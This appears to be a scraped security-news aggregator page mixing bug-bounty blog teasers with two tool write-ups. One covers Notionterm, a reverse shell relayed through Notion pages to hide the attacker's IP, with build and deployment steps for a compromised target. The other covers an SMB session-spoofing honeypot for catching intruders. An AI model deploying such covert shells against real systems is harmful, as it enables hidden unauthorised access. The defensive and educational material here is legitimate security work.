uote: info@blackhatethicalhacking.com
Source:  portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Untitled-design-300x150.png Microsoft releases tweet-size exploit for macOS sandbox escape bugJuly 14, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Images_for_the_Website_posts-300x150.png Microsoft fixes dozens of Azure Site Recovery privilege escalation bugsJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-300x150.jpg News – new template postJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/remotelyunlock-honda-1-1-300x150.jpg Hackers Say They Can Unlock and Start Honda Cars RemotelyJuly 12, 2022
Reading Time: 4 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Microsoft Teams security vulnerability left users open to XSS via flawed stickers feature first appeared on Black Hat Ethical Hacking.

How I spammed a Google meet (But for good)
https://medium.com/@shaunak007/how-i-spammed-a-google-meet-but-for-good-8bc5b328f1bb?source=rss------bug_bounty-5

Hacking isn’t always about account takeover, authentication bypass, or authorization abuse. Sometimes it’s about functionality abuse and…Continue reading on Medium » (https://medium.com/@shaunak007/how-i-spammed-a-google-meet-but-for-good-8bc5b328f1bb?source=rss------bug_bounty-5)

Ability to login as google staff in Google Cloud Community
https://medium.com/@bhatiagaurav1211/ability-to-login-as-google-staff-in-google-cloud-community-57c45809de05?source=rss------bug_bounty-5

-Gaurav Bhatia (Bug Hunter, CTF Player)Continue reading on Medium » (https://medium.com/@bhatiagaurav1211/ability-to-login-as-google-staff-in-google-cloud-community-57c45809de05?source=rss------bug_bounty-5)

Bug Bounty is scam on HackerOne

submitted a low severity bug a on a subdomain and got a bounty for that , the  next day i have submitted a critical bug on same subdomain…Continue reading on Medium »
Read more...

Kali Linux Tutorials
Notionterm : Embed Reverse Shell In Notion Pages

Notionterm is a Embed Reverse Shell In Notion Pages

* Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
* Demo/Quick proof insertion within report
* High available and shareable reverse shell (desktop, browser, mobile)
* Encrypted and authenticated remote shell

The focus was on making something fun while still being usable, but that’s not meant to be THE solution for reverse shell in the pentester’s arsenal

Requirements

* Notion software and API key
* Allowed HTTP communication from the target to the notion domain
* Prior RCE on target

Set-up

* Create a page and give to the integration API key the permissions to have page write access
* Build notiontermand transfer it on target machine (see install)

Run

There are 3 main ways to run notionterm:“normal” mode
Get terminal, stop/unstop it, etc…notionterm [flags]
Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFFto pause, turn ONto resume etc…“server” mode
Ease notionterm embedding in any pagenotionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].light mode
Only perform HTTP traffic from target → notionnotionterm light [flags]

Install

As notiontermis aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:

GOOS=[windows/linux/darwin]

Simple build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)

“All-inclusive” build

Embed directly the notion integration API token and notion page url in the binary. https://s.w.org/images/core/emoji/14.0.0/72x72/26a0.png everybody with access to the binary can retrieved the token. For security reason don’t share it and remove it after use.

Set according env var:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

And build it:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go
Download

Kali Linux Tutorials
SMB-Session-Spoofing : Tool To Create A Fake SMB Session

SMB-Session-Spoofing is a utility that can be compiled with Visual Studio 2019 (or newer). The goal of this program is to create a fake SMB Session. The primary purpose of this is to serve as a method to lure attackers into accessing a honey-device. This program comes with no warranty or guarantees.

Program Modifications Instructions

This program will require you to modify the code slightly. On line 144, the Windows API Create Process With LogonW API is called, there are two parameters that have been supplied by default – svc-admin (the Username) and contoso.com (the domain). It is necessary that you change these values to something that matches your production network.

CreateProcessWithLogonW(L”DomainAdminUser”, L”YourDomain.com”, NULL, LOGON_NETCREDENTIALS_ONLY, );

Implementation Instructions

After modifying the code and compiling it, you must then install the service. You can do so with the following command:

sc create servicename binpath=”C:\ProgramData\Services\Inject\service.exe” start=”auto”

Verification Steps

To verify the program is functioning correctly, you should check and see what sessions exist on the system. This can be done with the following command:

C:\ProgramData\Services\Inject> net sessions
Computer User name Client Type Opens Idle time
\[::1] svc-admin 0 00:00:04
The command completed successfully.

You should check back in about 13 minutes to verify that a new session has been created and the program is working properly.

What an Attacker Sees

The theory behind this is when an adversary runs SharpHound and collects sessions and analyzes attack paths from owned principals, they can identify that a high privileged user is signed in on Tier-2 infrastructure (Workstations), which (it appears) they can then access and dump credentials on to gain Domain Admin access.

In the scenario above, an attacker has compromised the user “wadm-tom@contoso.com” who is a Local Administrator on lab-wkst-2.contoso.com. The user svc-admin is logged in on lab-wkst-2.contoso.com, meaning that all the attacker has to do is sign into the Workstation, run Mimikatz and dump credentials. So, how do you monitor for this?

How you Should Configure Monitoring

Implementation of this tool is important, so is monitoring. If you implement the tool with no monitoring, it is effectively useless; therefore monitoring is a must. The most effective way to monitor this host is to alert on any logon. This program is best utilized on a host with no user activity that is joined to the domain with standard corporate monitoring tools (EDR, AV, Windows Event Log Forwarding, etc). It is highly recommended that you have an email alert, SMS alert, and many others if possible to ensure that incidents involving this machine are triaged as quickly as possible since this has the highest probability for a real adversary to engage with the workstation in question.
Download

Bug Bounty is scam on HackerOne
https://thinkermaruf.medium.com/bug-bounty-is-scam-on-hackerone-abddb92362cb?source=rss------bug_bounty-5

submitted a low severity bug a on a subdomain and got a bounty for that , the 
next day i have submitted a critical bug on same subdomain…Continue reading on Medium » (https://thinkermaruf.medium.com/bug-bounty-is-scam-on-hackerone-abddb92362cb?source=rss------bug_bounty-5)

Hacking on Medium
Hacking OSCP ! Roadmap 2022 (AD included)

https://cdn-images-1.medium.com/max/1000/1*vTEHMIY-fRpLAtky_CWR6w.jpeg
I got lots of DM about how to crack OSCP or which roadmap to follow for preparing new OSCP pattern. So I making this blog

Continue reading on Medium »

Hacking on Medium
Re-Hacking Wordle

https://cdn-images-1.medium.com/max/1270/0*G6H37mlVwHlbBTII.png
Have you heard about Wordle? I hacked it (again) to get a solution in a first try every day.

Continue reading on Medium »

Hacking on Medium
‍IW Weekly #10: 5 Articles, 4 Threads, 3 Videos, 2 Github Repos, 1 Job Alert

https://cdn-images-1.medium.com/max/2000/1*boxlJdlZkaYK8Ps5I-NGMA.jpeg
Hey 👋

Continue reading on InfoSec Write-ups »